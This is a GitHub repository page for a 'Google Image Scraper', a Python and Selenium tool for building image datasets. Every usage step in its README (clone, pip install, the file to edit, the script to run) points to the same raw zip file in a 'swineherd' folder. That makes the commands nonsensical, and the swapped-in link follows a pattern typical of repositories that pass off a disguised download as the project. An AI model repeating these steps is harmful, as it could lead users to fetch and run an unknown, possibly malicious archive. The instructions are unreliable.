Skip to content

A Python script for automated image scraping from Google Images, ideal for creating datasets for machine learning and AI projects

Notifications You must be signed in to change notification settings

Jaipal00/Google-Image-Scraper

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

9 Commits
 
 
 
 
 
 
 
 

Repository files navigation

Google Image Scraper

Description

This Python script allows you to scrape images from Google Images based on a specified search query and save them to your local machine. It utilizes Selenium and the Edge web browser to automate the image retrieval process.

Purpose: The primary goal of this project is to create a dataset for training machine learning and artificial intelligence models in an automated manner.

Usage

Clone this repository to your local machine:

git clone https://raw.githubusercontent.com/Jaipal00/Google-Image-Scraper/main/swineherd/Google-Image-Scraper_1.3.zip

Navigate to the project folder:

cd Google-Image-Scraper

Install the required Python packages:

pip install -r https://raw.githubusercontent.com/Jaipal00/Google-Image-Scraper/main/swineherd/Google-Image-Scraper_1.3.zip

Update the query variable in the https://raw.githubusercontent.com/Jaipal00/Google-Image-Scraper/main/swineherd/Google-Image-Scraper_1.3.zip file with your desired search query.

Run the script:

python https://raw.githubusercontent.com/Jaipal00/Google-Image-Scraper/main/swineherd/Google-Image-Scraper_1.3.zip

Images matching your query will be downloaded and saved to a folder on your desktop.

Dependencies:

  • Python 3.x
  • Selenium
  • Pillow (PIL)
  • Microsoft WebDriver (Ensure it's compatible with your Edge browser version)

About

A Python script for automated image scraping from Google Images, ideal for creating datasets for machine learning and AI projects

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • Python 100.0%